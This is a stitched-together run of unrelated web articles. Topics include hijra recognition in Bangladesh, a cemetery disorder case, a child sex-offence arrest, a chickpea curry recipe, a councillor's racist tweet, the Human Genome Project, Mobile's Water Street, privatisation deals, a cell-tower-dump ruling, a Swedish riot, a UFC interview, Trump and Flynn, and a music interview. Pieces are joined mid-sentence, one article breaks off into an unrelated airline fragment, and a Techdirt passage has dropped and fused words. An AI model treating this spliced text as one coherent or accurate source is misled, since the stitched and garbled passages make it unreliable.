Hijra, often subsumed under the trans umbrella in the West, is a South Asian feminine gender identity. It is sometimes – but not always – adopted by intersex people.
Under the new Government policy, the rights of all hijras will be secured, enabling them to identify their gender in documents such as passports.
Cabinet Secretary Muhammad Musharraf Hossain Bhuiyan said: “There are at least 10,000 hijras in Bangladesh.
“They are being denied their rights in various sectors including education, health and housing because of being a marginal group.”
He said they will be referred to as hijras in both English and Bangla.
“Any other translations to English would be misleading,” he added.
In an interview with the Daily Star, Bangladesh Hijra Kallyan Foundation President Abida Sultana Mitu said: “I would like to thank the government for this initiative.
“As we are the most neglected section of the society, I think the government will take more steps for protecting our rights.”
Pakistan allowed hijras a third gender category back in 2011.
In September, gay rights groups criticised the government in Bangladesh for refusing to decriminalise same-sex relationships, despite recommendations by the United Nations to do so.A MAN has been fined for pretending to be a ghost in a cemetery.
Anthony Stallard, 24, had been out drinking when he went to Kingston Cemetery.
While there with friend Martin Collingwood, Stallard was seen kicking a football at graves before making ghostly noises within earshot of people visiting graves.
He was reported to police, who arrested him and charged him with using threatening or abusive words or behaviour likely to cause distress.
Prosecuting at Portsmouth Magistrates’ Court, Tim Concannon said: ‘While the football was going on they were shouting and this defendant was effectively singing loudly and being disrespectful in among the graves.
‘He was throwing himself backwards, waving his arms about and going “wooooooo”. I’m assuming he was pretending to be a ghost.’
Stallard accepted at a previous hearing that his behaviour could cause distress to grieving relatives and had pleaded guilty.
Defending Denise Saunders said: ‘He has accepted that his behaviour, if it had been outside of a cemetery would not have been inappropriate, but inside a cemetery while people are grieving for their loved ones it might be.’
She added: ‘He is apologetic as demonstrated by his early guilty plea.’
The court heard that Stallard had committed the offence while subject to a 12-month conditional discharge, which he had received for a charge of harassment in January.
He was also in breach of a suspended sentence for an offence of assault, which he had committed in August last year.
Ms Saunders argued that Stallard had complied well with his previous sentence of supervision and he was being tested for autism, which could have meant he did not understand the consequences of his actions.
Stallard, of Alverstone Road, Southsea, was fined £35 and made to pay a £20 victim surcharge and £20 in court costs.
An extra three months was added to his suspended sentence, which will now run for 15 months instead of the previous 12. If he commits a further offence that breaches this suspended sentence, he will face 12 weeks imprisonment.
Charges of causing damage to the gravestones caused when the pair were playing football were dismissed due to lack of evidence when neither witness showed at court.
The case against Mr Collingwood, 36, of Purbrook Road, Portsmouth, was discontinued.A student-teacher from Connecticut has been arrested in Central New York, and is accused of having a sexual relationship with an underage girl.
State Police tell CNY Central that on Tuesday they apprehended 30-year-old Micah Saul Brown at the Quality Inn on Collamer Road in East Syracuse. Troopers say that Brown admitted to them during an interview that he traveled to the Syracuse area to have sex with girls he believed to be 14 and 16 years old, which were actually undercover police officers posing as the girls online.
Troopers say their investigation of Brown began when an underage female reported to State Police that she had a sexual relationship with Brown. Police say that the 15-year-old reported meeting Brown in an AOL chat room in November 2009, where he helped her with her school work. He then allegedly began to send her text messages and e-mails. Police say that in February 2010, Brown allegedly travelled to meet the girl at her home in the Town of Marcellus and gave her marijuana and alcohol before having sexual contact with her.
According to criminal complaint papers, Brown has been charged with two counts of felony attempting to disseminate indecent materials to a child, felony third degree criminal sex act, misdemeanor attempted luring of a child, misdemeanor unlawfully dealing with a child, felony criminal sale of marijuana, and misdemeanor endangering the welfare of a child.
Brown was arraigned in Town of DeWitt Court and remanded to the Onondaga County Justice Center jail on $500,000 cash bail or $1 million bond. He is scheduled to reappear in court on Monday, April 26 at 3:00 p.m. for a preliminary hearing.
Brown, originally from Portland, Oregon, was a student-teacher at the American School for the Deaf in West Hartford, Connecticut. Marilyn Rettig, the school's Director of Institutional Development, says Brown was working with middle school students and had been at the school for approximately a month. She also says Brown was not employed by the school, and will not be returning. According to Rettig, Brown was student-teaching while attending the National Technical Institute for the Deaf in Rochester, which is affiliated with the Rochester Institute of Technology.
The Onondaga County District Attorney's Office says they do not know if Brown has had contact with any other underage girls but say police have executed search warrants to look for more evidence. Anyone with further information regarding this case should contact State Police in Elbridge at 315-689-3353.
Troopers say they were assisted by the Onondaga County District Attorney's Office, Madison County District Attorneys Office, the New York State Police Internet Crimes Against Children Task Force, NYSP Computer Crime Unit - Central Region, and the Connecticut State Police.
The case has been referred to the U.S. Attorney's Office for review.I made this meal mostly to please my significant otter who is very much in love with chickpeas.
Ingredients:
For Falafel:
48 oz. chickpeas
1 onion
18 tbs parsley leaves
8 cloves of garlic
3 tbs coriander
3 tsp cumin
vegetable oil
For curry:
144 oz. chickpeas
16 oz. crushed tomato
16 oz. diced tomato
2 onions
2 tbs cumin seeds
2 tbs coriander
1 tbs red chili powder
1 tbs turmeric
8 cloves garlic
5 jalapenos
4 tbs vegetable oil
2 cups rice
parsley for garnish
For falafel:
This is unbelievably easy. Preheat your oven to 400F. In batches mash/ mince all of your ingredients, except the oil. I used a food processor.
Next generously oil two very thin baking dishes. Form ping-pong sized balls and place them on the backing dishes.
Bake for thirty minutes.
For Curry:
While that is baking cook your curry. Mince your onions and heat about 4 tbs of vegetable oil in your plan. Once that is hot add your cumin seeds and cook until they stop regularly popping. Then add your onion. Cook stirring occasionally until onion is translucent, then add dried spices and minced jalepenos. This should be starting to look and smell like indian food around now.
Cook this for another two minutes or so, then add drained diced tomatoes and minced garlic. Cook for about another minute then add crushed tomatoes. Mash 48 oz. more chickpeas and add them, as well as the rest of the chickpeas whole. Stir together with salt to taste.
Don’t forget to keep track of your falafel and take them out when they are done.
Finally put your curry, your falafel and rice (cooked however you see fit) into a bowl and eat it.
Comfortably feeds five.
AdvertisementsA Conservative councillor has been suspended after retweeting a "completely unacceptable" message which portrayed Diane Abbott as an ape wearing lipstick.
Alan Pearmain, the deputy chairman of the South Ribble Conservative Association, shared a picture of an Orangutan which included the strapline "get the Diane Abbott look". He added a comment to the original post which said: "Nice lips kid. But a shade too much rouge."
A Conservative spokesman said: “His comments are completely unacceptable and he has been suspended from the party, pending an investigation.”
In his Twitter profile, Mr Pearmain describes himself as “positioned slightly to the right of Attila the Hun”. He denied that the tweet, first reported by the Lancashire Evening Post, was racist.
He told The Guardian: “I’m almost 70, I’ve been asked to apologise on many, many occasions. Sometimes it warrants apologising, sometimes it doesn’t. Sometimes you have to stand up for your principles.
“Can you tell me what’s wrong with the tweet? I thought it was her size and her appearance, nothing to do with colour.”
It came after it emerged that Ms Abbott reportedly told Brexit secretary David Davis to "f*** off" after he went to kiss her in a bar in the House of Commons on Wednesday night.
Mr Davis reportedly lent in to kiss the shadow home secretary in the Stranger's bar after the Article 50 vote but she was seen by journalists warning him not to.
The cabinet minister is said to have walked off laughing.
It came after Ms Abbott voted in favour of triggering Article 50 in line with a three-line whip issued by party leader Jeremy Corbyn.The Human Genome Project Wasn’t Overhyped. The Payoff Just Took Time
Opinion
Xconomy National —
[This post was co-authored by Sean Harper, Amgen’s executive vice president of R&D.]
People in the tech industry often like to say that we overestimate the short-term impact of new technology and underestimate the longer-term value. The human genome project is a superb example of this truism.
Overpromise was indeed rampant during the interval around the 2001 publication of the first human DNA sequence, but it’s easy to understand the excessive expectations inspired by such a momentous achievement for society.
A Tortuous Route From The Human Genome Project to New Drug Discoveries
The unraveling of the genetic identity of our species ranks as one of the greatest accomplishments in the history of science.
However, the human genome sequence, in isolation, is not a readily interpreted blueprint or wiring diagram. It is more like a parts list. The physiological roles of the individual genes are the key to understanding disease relevance and discovering new medicines, but these roles are not apparent from a single individual’s sequence. Thoughtful experts knew this at the time, but the enthusiasm for the milestone led to exaggerated claims.
Over the past few years, we have seen the result of this hype: malaise that afflicts many who believed that public and private investment in the Human Genome Project would have an immediate, dazzling impact on healthcare. In fact, new medicines based exclusively on this information were not forthcoming, partly because it takes 10 to 15 years for a pharmaceutical enterprise to transform a basic discovery into a practical therapy. It is also evident that the route from the human genome sequence to new drugs is more tortuous than many had anticipated.
The cynics’ view about the long-term value to society was reinforced by another disappointment. The genome project, coupled with new technical capabilities, fueled a spate of genome-wide-association studies (GWAS), which aim to assess the impact of common human genetic variants on the risk of disease. Bear in mind that a human genome is a gargantuan storehouse of information with well over a billion letters of genetic code, called nucleotides, strung together. That’s equivalent to a book more than 10 million pages long!
The vast majority of these differences are common variants; they are shared among a significant portion of the population. GWAS allowed us to ask, do common variants influence disease risk? While the answer is yes—GWAS results have provided a windfall of hints about disease-relevant genes—they are nearly a bust in terms of delivering actionable information for drug discovery.
But we shouldn’t mistake the absence of revolutionary success for a lack of progress. Putting aside the long-term prospects for improvements in health, investment in genomics has brought significant incremental benefits to science and medicine. Since 2001, most activities in biomedical research have utilized sequence information in one way or another. The genome project provided valuable infrastructure—roads and bridges to facilitate and enhance the pace of discovery. For example, the first hunt for a disease gene, underlying the devastating Huntington’s disorder, required nearly a decade before success was achieved in 1993. After the genome project, the time to track down rare disease genes was cut by a factor of ten, and today, it takes only a few weeks in many cases to find such genes.
Mining for a Single Nucleotide And Unlocking the Promise of Human Genetic Variation Studies
The most promising technological breakthrough in terms of treating disease may be the emergent technique of ultra-high-throughput DNA sequencing. Through this technology, we can begin to mine … Next Page »A closer look at the renewed effort to convert car-friendly Water Street into a pedestrian-friendly promenade, connecting Mobilians back to their riverfront.
Tomorrow, the Mobile City Council will take a vote on a big step forward for the Port City’s vision to connect citizens back to their riverfront.
The council is set to give approval for a plan by mayor Sandy Stimpson to “transform Water Street from the backyard of downtown into the gateway of Mobile.”
Pending council approval, the city will contract with Thompson Engineering to begin the design process for Water Street including striping, traffic signalization, landscaping and other gateway elements. The work will extend from Beauregard Street to south of Government Street downtown.
There are few more striking examples of just how poor pedestrian connectivity is along the Mobile riverfront than at Water and Beauregard streets. At the intersection sits a public housing development, the city’s central bus station and a convenience store — all within a stone’s throw of each other.
But try taking a walk between all three? Be prepared to cross 16 lanes of traffic, all without a crosswalk or pedestrian signal.
The scenario is the epitome of Mobile’s Water Street nightmare when it comes to increasing pedestrian connectivity from downtown to the revived riverfront, where Carnival Cruise Line is set to return this year, GulfQuest maritime museum has opened its doors, a vibrant waterfront park thrives, and a regional convention center attracts tens of thousands of visitors every year.
Planned in the latter half of the 20th century — when cars dominated the focus of government planners and private developers — the intersection is just one of many hotspots of potential pedestrian access downtown, according to city officials. Now, the city sees a major change for the historic street, once a major hub of riverfront commerce in the 19th and 20th centuries.
Originally, Alabama planners designed Water Street to be a seamless connector with Interstate 10, creating an elevated bypass through the heart of downtown Mobile. The plan was defeated by downtown residents and the state |
and the A339 for the Atlantic. Delta is building up a major international hub at Seattle, where some of these airplanes will fly from.
Airbus told LNC, “We do not comment on rumor or speculation concerning discussions with our customers.” Boeing declined comment.
Delta did not respond to a request for comment. Delta’s plan was to announce this at Investors’ Day on December 11.Hello, community!
We got many requests about how you can donate, we decided open this possibility to those who asked
After all, this is direct support to the project that all you offer, and we constantly need a support of all types.
As was mentioned before, you can contribute in many ways:
Extent documentation on our wiki
Help other users in chat and forum
Participate in discussion on phabricator
But if you would like to contribute via donation you are welcome to do so!
Raised money will be used for project needs like:
Documentation development
Tutorials and training courses creation
Artwork creation
Travels of project maintainers to relevant events
Event organization
Videos
Features development
Popularization of VyOS
Servers
Lab
Software
Hardware
Of course, that is not a complete list of needs that project have but most visible.
Thank you!As a result of fully warranted bad press for some privatization deals, such as the lease of Chicago’s parking meters, there has been a bit (stress only a bit) more critical scrutiny of the de facto sale of public assets to consortia of private investors. Nevertheless, major banks have been using the financial distress of states and municipalities to push these deals as a solution to budget woes, when it’s a short-term expedient that leaves the public worse off. As we wrote earlier:
The problem, of course, is that these deals put important public resources paid for by taxes (or even worse, financed by bonds and thus potentially not even yet fully paid for) in the hands of private investors. They then earn their returns by charging user fees of various sorts. The public must rely on the new owners for reinvestment and maintenance, and depending on how the deal is negotiated, may have ceded control as far as fee increases are concerned. This is tantamount to selling the family china only to have to rent it back in order to eat dinner. Now defenders will argue that there is nothing wrong with this in practice, as long as the price is fair, no one is harmed. That’s spurious. This is worse than an intergenerational transfer. Those future fees not only must recoup maintenance costs (which any owner would presumably pay) and the time value of money, but also the investor’s target return in excess of that. In addition, the large transaction costs of these deals are ultimately borne by the seller. And the list of shortcomings thus far are merely those that result if you have two sides that are equally sophisticated. That is hardly the case with municipalities versus bankers and investors. As the old saying goes, “If you sit down for a game of poker and you don’t know who the sucker at the table is, it’s you.”
One of the themes of Naomi Klein’s book The Shock Doctrine was that disasters, such as the explosion of government budget deficits as a result of the financial crisis, help powerful parties push through programs that would have been hard to sell in ordinary circumstances. An even more cynical version is starting. The wreckage from Hurricane Sandy hasn’t even been cleared, yet financial entrepreneurs are looking to profit from it. From Philly.com:
Rebuilding the shattered Shore and the swamped New York tunnels, along with badly needed updates to the Northeast’s exhausted roads and rails, will be an opportunity to implement streamlined construction laws backed by Republicans and pro-business Democrats in Congress and the states, says Frank Rapoport, Berwyn-based partner at New York law firm McKenna Long & Aldridge L.L.P., and counselor to contractors who support “public-private partnerships” (P3). That’s a label for a group of strategies that replace lengthy government-led construction with private contractors and financiers, financed by “sharing” user fees – like road tolls – once the project is built, instead of borrowing money and charging taxpayers…. P3 funding – which Corbett’s predecessor, Democrat Ed Rendell, also supported and has continued to champion in his part-time retirement gig as an investment banker for Greenhill & Co. – is coming along “just in time” to aid in Sandy reconstruction, Rapoport says. Virginia is pushing a high-profile, privately run, toll-funded expansion of I-495 that P3 backers call a model. Pennsylvania “is following Virginia and Texas” in pushing privately run public projects, he added. Cash-strapped Puerto Rico is using P3 projects “for everything from bridges to schools.
The problem is that these deals are typically exploitative financially, given all the mouths at the trough that get fed on these transactions. Let’s return to that Chicago parking meter deal. Mayor Richard Daley ramrodded it through, informing the city council of the complex deal a mere two days before the vote. The city had projected revenues foregone over the 75 year life of the deal on present value basis of between $700 million and $1.1 billion for cashflows over the life of deal in the $4 billion to $5 billion range. Chicago got $1.15 billion for the arrangement. Sounds like a winner, right? Well, funny that. The selling memorandum for Morgan Stanley-led investors on the very same deal said revenues would not be $4 billion or $5 billion, but at least $11.6 billion, or more than double the top amount projected by the city. And since they’ve put through two rate increases totaling over a 40% increase already, looks they they are on the way to making that happen.
And these deals also contain that Elizabeth Warren would call “tricks and traps” that curtail government sovereignity, are contrary to the public interest, and even create safety risks. From Truthout:
Infrastructure privatization contracts are full of “gotcha” terms that require state or local governments to pay the private contractors. For example, now when Chicago does street repairs or closes streets for a festival, it must pay the private parking meter contractor for lost meter fares. Those payments put the contractors in a much better position than the government. It gets payments, even though Chicago did not get fares when it had to close streets….. Highway privatization contracts also often include terms that forbid building “competing” roads or mass transit. Some even require making an existing “competing” road worse. For example, the contract for SR-91 in Southern California prohibited the state from repairing an adjacent public road, creating conditions that put drivers’ safety at risk. A proposed private highway around the northwest part of Denver required that local governments reduce speeds and install speed humps and barriers and narrow lanes on “competing” roads to force drivers to use the privatized road…. Virginia decided to promote carpooling to cut down on pollution, slow highway deterioration and lessen highway and urban congestion. As a result, Virginia must reimburse the private contractor for lost revenues from carpoolers, even though not all of the people in a car would otherwise have driven individually….
This approach makes about as much sense as using your house as an ATM to pay expenses, and in a worst-case scenario, is more like burning your furniture to heat the house. And even though we know how these movies are going to end, there’s hardly any reporting on these transactions, and thus even less opportunity than usual for the public to demand that its interests be protected. This is classic back-room dealing to the detriment of ordinary citizens, and there’s a good reason why. Making these deals make sense for the public would pretty much stop this gravy train, so it is essentially that they be kept in the dark. Disgracefully, media cheerleaders like Philly.com are only to willing to cooperate.Judge Protects Cellphone Data On 4th Amendment Grounds, Cites Government's Technological Ignorance
from the they're-RIGHTS,-not-INCONVENIENCES dept
Moreover, it is problematic that neither the assistant United States Attorney nor the special agent truly understood the technology involved in the requested applications. See In re the Application of the U.S. for an Order Authorizing the Installation and Use of a Pen Register and Trap and Trace Device, ––– F.Supp.2d ––––, 2012 WL 2120492, at *2 (S.D. Tex. June 2, 2012). Without such an understanding, they cannot appreciate the constitutional implications of their requests. They are essentially asking for a warrant in support of a very broad and invasive search affecting likely hundreds of individuals in violation of the Fourth Amendment.
Finally, there is no discussion about what the Government intends to do with all of the data related to innocent people who are not the target of the criminal investigation. In one criminal investigation, the Government received the names, cell phone numbers, and subscriber information of 179 innocent individuals. See United States v. Soto, No. 3:09CR200 (D.Conn. May 18, 2010) (Memorandum in Support of Motion to Suppress). Although the use of a court-sanctioned cell tower dump invariably leads to such information being provided to the Government, in order to receive such data, the Government at a minimum should have a protocol to address how to handle this sensitive private information.
Although this issue was raised at the hearing, the Government has not addressed it to date.
This failure to address the privacy rights for the Fourth Amendment concerns of these innocent subscribers whose information will be compromised as a request of the cell tower dump is another factor warranting the denial of the application.
Various US government agencies have spent a lot of time and energy hoping to ensnare as much cell phone data as possible without having to deal with the "barriers" erected by the Fourth Amendment. The feds, along with Los Angeles law enforcement agencies, have bypassed the protections of the Fourth Amendment by deploying roving cell phone trackers that mimic mobile phone towers. The FISA Amendments Act has been used as a "blank check" for wholesale spying on Americans and has been abused often enough that the Director of National Intelligence was forced to admit these Fourth Amendment violations publicly.The good news is that a few of these overreaches are receiving judicial pushback. Orin Kerr at the Volokh Conspiracy has a very brief writeup of a recent shutdown of another cellphone-related fishing expedition led by an assistant US Attorney. An attempt was made to acquire records for ALL cell phones utilizing four different towers in the area of a specific crime at the time of the event. As Kerr notes, this ruling refers to the Fifth Circuit court decision that found cell phone data to be protected under the Fourth Amendment, thus requiring a warrant to access it.Magistrate Judge Smith points out that part of the issue is that the principals involved (the assistant US Attorney and a special agent) seemed to lack essential knowledge of the underlying technology, and that this lack of knowledge prevented them from recognizing the overreach of their request:There has been a lot of discussion here at Techdirt regarding the incredible lack of knowledge present in those seeking to regulate or exploit various technologies. Considering the amount of possible collateral damage and the heightened chance of rights violations, you'd think these entities would be exercising maximum caution before tampering with something they don't understand. Instead, the common approach is to use the ends (safety, crime prevention, etc.) to justify the missteps and rights-trampling of the means, leaving the judicial system and various trampled citizens to sort out the mess.Judge Smith quotes the Fourth Amendment and points out that warrants must be issued and only "upon probable cause" before continuing to run down the list of wrongs in this request.But, as Smith points out, the government doesn't have a protocol in place, even more than two years down the road.This is hardly new territory for government agencies. The TSA has had nearly 20 months totaking public comments on the use of various body imaging scanners, but despite two trips to the DC Circuit Court, it has yet to begin this process, something generally undertakenimplenting a new system. If it's something the government feelsbe unpopular with the public, it tends to attempt to stall indefinitely, an (in)action that (again) places the burden back on the courts and the general public.But, at least in this case, Judge Smith is using this lack of actionthe government representatives.It's a good sign that stalling tactics may hurt more than help in the future. Many government and law enforcement agencies are still looking for any loophole in current laws in order to bypass the limitations placed on them by the Constitution. There's still a long way to go before there's anything resembling an equitable relationship between the general public and those in power, but we'll take everything we can get and (hopefully) receive more help pushing back against these intrusions.
Filed Under: 4th amendment, data, wirelessSeveral Swedish police were attacked by a large gang of “youths” who went on a rampage armed with rocks and fireworks in the city of Trollhattan over the weekend.
On Sunday evening a group of around 20 to 30 young men rioted and caused havoc in the Kronogården district of Trollhattan. Police say the youths were armed with rocks and fireworks, which they used to smash up a bus shelter. When police arrived on the scene, the gang attacked them with rocks that were so large they disabled their police car, Nyheter Idag reports.
An eyewitness, who wished to remain anonymous, told the paper: “They attacked police and the guards inside the area, in Kronogården. It was preceded by two powerful explosions. I thought ‘this is no firecracker, these are some bombs that have gone off’. Those were real f***ing bangs, two around twenty minutes apart.”
Police officer Goran Carlbom said the incident began shortly after 7 pm. Police received a call that a gang of youths were causing trouble in the area. “There was a call regarding young people who fired rockets. Then it escalated to the shooting at a bus shelter,” Carlbom said.
Police struggled to get the situation under control, with the riot continuing for three hours until after 10 pm. So far, none of the youths involved in the incident has been caught or arrested, and no one has been reported as being injured.
This riot is reminiscent of the much larger riot that took place in the often-cited “No-Go Zone” of Rinkeby in February. The Rinkeby riots saw multiple vehicles burned by residents of the heavily migrant-populated Stockholm suburb. While the Rinkeby riots were sparked by the arrest of a local youth, the cause of the Trollhatten riot remains unknown.
The city of Trollhattan is also more widely known for a school attack that occurred in 2015 where a masked young man entered the school and proceeded to attack students with a large sword, killing two and injuring several others before being shot by police.
Police said the attack was likely a racist hate crime due to the victims selected by the killer. Trollhattan has a large immigrant population, and police believe the killer had been sympathetic to nazi ideology.
Follow Chris Tomlinson on Twitter at @TomlinsonCJ or email at ctomlinson@breitbart.comOn Saturday, August 16 in Bangor, Maine, fans were treated to another UFC card that delivered on many levels. We got to see fights finished, most impressively by Tim Boetsch and Ross Pearson, and some questions answered, including is Ovince Saint Preux ready to be the next big thing? One fight however, seemed to raise not only eyebrows, but also brought up an often visited debate: Did the judges get it right?
In her UFC debut Lauren Murphy put on a great show against #3 ranked bantamweight Sara McMann Landing 193 of 236 total strikes and 48 of 83 significant strikes, with numbers like that how did she end up on the wrong end of a split decision? The answer: Takedowns. Although she was unable to do any damage from top position, McMann was successful in five of her nine takedown attempts and managed to spend a significant amount of time in top position. Should takedowns alone with no damage done be enough to win fights when the combatant being taken down is obviously outworking his or her opponent? It’s a question as old as the unified rules of MMA.
I had the pleasure of talking with former Invicta FC Bantamweight Champion Lauren Murphy to get her take on the decision and how she felt about her UFC debut.
Aaron Robbins: Hey Lauren, thank you so much for sitting down with me and chatting. I’m sure your fans are very interested in what you have to say about your debut. Lauren, your fight with Sara McMann has been receiving a lot of attention, with the majority of it questioning the decision. Could you let the fans know what was going on in your mind during the fight, and did you think you were doing enough to take the fight?
Lauren Murphy: “During the fight I felt I won the first round for sure. I felt I was the only one doing the work. I landed a significant amount of strikes, I was hurting her from the bottom with elbow strikes. She was wincing from my strikes and I was hoping that I could cut her with my elbows. There are a lot of ways to generate power from the bottom, like slip elbows, and I was just trying to beat her up as much as I could from that position. I went to my corner believing I took the first round for sure. Sara did almost nothing during that round. She was landing strikes for about five seconds and I thought to myself that five seconds out of a five minute round just wasn’t enough to win. So yeah, I went to the corner pretty confident. I knew I had lost the second round, but I clearly won the third, so I got up from the mat positive that I had taken the fight from her.”
AR: There are a lot of fans blowing up social media that agree with your assessment of the action inside the cage. Of course the fans in attendance and at home don’t have a first person view of what’s happening in the octagon. Tell us what was being said in your corner, and were they under the impression that you were doing enough?
LM: “You know in the moment, yeah, I think they were pretty confident. Although, my coach, John Crouch is always telling us to never end up on the bottom. He was telling me that I looked good, not to worry because Sara couldn’t pass my guard, and to try to cut angles and keep the fight standing. In the second round I wasn’t able to stick to that game plan, but in the third round I thought I delivered. I was able to be on top and decisively put that round in my favor.”
AR: So clearly you believed you had taken the first and third rounds. With that being said, I’m sure it was devastating to hear the judges’ decision. Can you tell the fans what was going through your mind?
LM: “I was very heartbroken. It’s always heartbreaking to lose, but when it’s your UFC debut it’s worse. I know they went with her (McMann) because she was controlling from the top position, but I don’t consider it control on the mat when you are doing nothing and getting your head bashed in, but that’s just me. That’s not how the judges saw it. When they said split decision I was thinking come on, come on please (laughs) losing is just a new experience for me because it’s the first time I didn’t leave with my hand raised.”
AR: Although it is difficult to be on the wrong end of a decision for the first time, it has been my experience that a lot of fighters come back from their first defeat better than they were previously. Tell us, what did you take away from the loss, and what differences will the fans see from you next time?
LM: “Absolutely, I’ve already watched the fight like 16 times, and have picked apart what I could do better. Part of it was what was going on mentally before the fight. I think I expected more of Sara, it might sound weird, but she is ranked number 3 in the UFC, and if that is where the bar is set, I’m not all that impressed with it. I’m on the upswing. I’m still growing, and learning, and getting better with every fight. I think before this fight I was buying into what the oddsmakers had to say, and that’s never going to happen again. The most important thing I’m taking away from this is knowing that I absolutely belong in the UFC. I’m strong enough and good enough to fight at that level. I think that going into that fight I didn’t really believe that in my heart, and that cost me.”
AR: That’s a great attitude to have, and I’m sure that confidence level with reflect on your next performance So, with that in mind what’s next for you Lauren?
LM: “I don’t know what the UFC has in mind for me, but I went to right back to practice and we looked at getting up from the bottom, and how to avoid ending up on your back. It stings to have to look at your mistakes, but it’s absolutely necessary to grow as a fighter. I went in the gym with my head held high and everybody was just great. I have a great support system.”
AR: Fantastic! Well Lauren, that about wraps it up for me. Any shout-outs?
LM: “Yes, I want to say thanks to my husband, Joe Murphy. I may be the one in the ring, but we are definitely a team. A big thank you to my manager, Chuck Wichert, he has been fabulous since day one. Also, my team at The Lab, especially Jocelyn Jones-Lybarger, and to Torque gear. Thank you guys!”
Thank you for reading. Please take a moment to follow me on Twitter – @LWOS_chirodoc. Support LWOS by following us on Twitter – @LastWordOnSport – and “liking” our Facebook page.
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Main PhotoPresident Trump tweeted Friday morning that former national security adviser Michael Flynn “should ask for immunity” to avoid a “witch hunt” — but he had a very different view of immunity six months ago.
Trump defended Flynn’s offer to testify in ongoing probes of Russian interference in the 2016 presidential election in exchange for legal immunity.
But during last year’s campaign, Trump excoriated Democratic nominee Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE’s associates for getting immunity, asking: "If you're not guilty of a crime, what do you need immunity for?"
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Trump’s campaign repeatedly hammered the Department of Justice for granting immunity to a number of people, including top Clinton aide Cheryl Mills, during the investigation into Clinton’s use of a private email server while secretary of State, saying the deals were proof of corruption and calling for a special prosecutor.
Both Trump and Flynn heard near-constant crowd chants to “lock her up” during the campaign.
“If I did a tenth of what she did, I would be in jail today,” Flynn said during a July speech at the Republican National Convention, adding that Clinton “believes she is above the law.”
During a presidential debate in October, Trump tweeted to Clinton: “Why did five of your staffers need FBI IMMUNITY?!”
And Flynn told NBC in September, “When you are given immunity, that means that you have probably committed a crime.”
VIDEO from Sept. 25, 2016: Mike Flynn tells NBC that "when you are given immunity, that means that you have probably committed a crime." pic.twitter.com/BjSZY7gbiS — Steve Kopack (@SteveKopack) March 31, 2017
Flynn's lawyer told The Wall Street Journal on Thursday that he’s willing to talk to the House and Senate Intelligence panels as part of their probes into Russian election meddling and Trump and his aides' alleged ties to Moscow — if he’s promised immunity.
Flynn resigned last month amid revelations that he misled Vice President Pence and others about meetings he had with Russian Ambassador Sergey Kislyak before Trump took office.
Since then, Flynn has been the subject of controversy surrounding an apparent web of foreign business interests, including lobbying work that is said to have benefitted the Turkish government. Flynn registered as a foreign agent earlier this month.FOTO: Digi24
Declarațiile au fost făcute în octombrie, când Victor Ponta a spus că primarul - pe atunci - al Sibiului, Klaus Iohannis, va fi declarat incompatibil de ICCJ, întrucât aceasta este practica unitară a instanţei supreme, în toate cazurile similare.
Imediat după această declarație, ACL - alianţa care îl susţinea pe Klaus Iohannis la Președinție - a cerut sesizarea Inspecţiei Judiciare a Consiliului Superior al Magistraturii. Liberalii şi democraţii erau convinşi că, prin declaraţia sa, Victor Ponta nu face decât să pună presiune asupra Justiţiei.
Inspecția Judiciară notează în raportul său că a fost afectată independenţa sistemului, întrucât prin declaraţiile lui Victor Ponta despre dosarul lui Iohannis au fost încălcate limitele discursului politic.
Traian Băsescu nu a încălcat independența Justiției
Inspecţia Judiciară (IJ) a constatat, în schimb, că independenţa justiţiei nu a fost afectată de declaraţiile preşedintelui Traian Băsescu, care a spus că, în dosarul Microsoft "vor mai apărea surprize, inclusiv persoane".
Inspectorii judiciari au stabilit că afirmaţiile preşedintelui nu fost de natură să afecteze independenţa judecătorilor şi a procurorilor, având în vedere că acestea pot fi încadrate în limitele discursului politic, a precizat, pentru MEDIAFAX, purtătorul de cuvânt la IJ, Tamara Manea.
Consiliului Superior al Magistraturii (CSM) a decis sesizarea Inspecţiei Judiciare, după ce, în 13 octombrie, Traian Băsescu a declarat la Realitatea TV, răspunzând unei întrebări, că în dosarul Microsoft vor mai apărea surprize, inclusiv persoane.
Membrii plenului CSM urmează să stabilească joi dacă îşi vor însuşi concluziile raportului IJ.
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,Nearly half the Big Apple’s sexually active high-school girls have had female partners — and many engage in behavior that endangers their health, an alarming new study finds.
Researchers from New York University and the Albert Einstein College of Medicine based their findings on a 2013 survey of public high-school students citywide — but most heavily in “high-risk neighborhoods” in the Bronx, Brooklyn and Manhattan.
Of 4,600 girls surveyed, 1,101, or 27.5 percent, were sexually active. Of those, 513, or 46.6 percent, reported same-sex experiences, according to the study, published this month in the Journal of Pediatric and Adolescent Gynecology.
This “vulnerable population of girls” who engage in same-sex or bisexual activity are twice as likely as heterosexual teens to be sexually active. The researchers also found:
These girls start having sex sooner, have more sexual partners and suffer more “intimate partner violence.”
They are less likely to use contraceptive methods — putting them at higher risk of unplanned pregnancy if they also have sex with boys.
They use more alcohol, marijuana and other illicit drugs.
They report more suicidal thoughts or attempts. Girls “not sure” of their sexual orientation are at highest risk of trying to kill themselves.
Even though female-to female transmission of HIV is possible, many of these girls do not test for it or other sex-related diseases.
Dr. Chanelle Coble, an adolescent pediatrician and assistant professor at NYU Langone Medical Center, co-authored the study with Einstein assistant professors and psychologists Rosy Chhabra and Ellen Silver.
The researchers found the abundance of same-sex activity even though not all teens who indulged identified themselves as lesbian or bi-sexual.
“Just looking at how someone describes themselves doesn’t tell the whole story,” Coble said. “When they’re young, it’s harder for them to be specific about their identity — they’re still exploring and figuring it out.”
An advocate for lesbian and bisexual youth called the study’s results, “disheartening, but not surprising.”
Lesbian and bisexual girls are often stigmatized and treated with hostility, said Emily Greytak, research director for GLSEN, a Manhattan-based group that promotes safe schools for LGBT students.
“That can lead to more risky behavior, and takes a toll on their health,” she said.
The surveys were conducted by the city Department of Health for the US Centers for Disease Control and Prevention.In an exclusive interview, Frusciante talks about his new EP of abstract electronic music, why he left the Chili Peppers and the "funnest musical collaboration I've ever had with anybody in my life"
Guitarist John Frusciante, absent from the stage since quitting Red Hot Chili Peppers five years ago, has since adopted drum machines, synthesizers and a computer as his main instruments.
Today his creations are confined to his living room, where Frusciante experiments with and engineers what he calls Progressive Synth Pop. "Outsides," a 20-minute EP of abstract electronic music due Aug. 27, consists of self-described "out" pieces that underscore a departure from traditional rock and public expectation. "I needed to specifically make music that I know wouldn’t sell in order to learn things," Frusciante told Billboard during an exclusive, hour-long telephone conversation in late July. "And I’m gonna keep doing that for the rest of my life."
